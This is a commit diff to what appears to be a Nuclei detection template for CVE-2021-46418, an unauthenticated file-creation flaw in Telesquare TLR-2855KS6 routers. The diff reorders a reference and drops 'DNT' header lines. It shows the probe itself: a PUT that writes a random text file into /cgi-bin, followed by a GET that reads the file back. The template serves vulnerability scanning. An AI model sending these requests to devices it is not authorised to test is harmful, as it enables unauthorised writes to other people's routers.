Update CVE-2021-46418.yaml
parent
84dbf7f79a
commit
a66028fe24
|
@ -7,9 +7,9 @@ info:
|
|||
description: |
|
||||
An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-46418
|
||||
- http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
|
||||
- https://github.com/ARPSyndicate/cvemon
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-46418
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
|
||||
cvss-score: 7.5
|
||||
|
@ -33,13 +33,11 @@ http:
|
|||
- |
|
||||
PUT /cgi-bin/{{filename}}.txt HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
DNT: 1
|
||||
|
||||
{{randstr}}
|
||||
- |
|
||||
GET /cgi-bin/{{filename}}.txt HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
DNT: 1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
|
Loading…
Reference in New Issue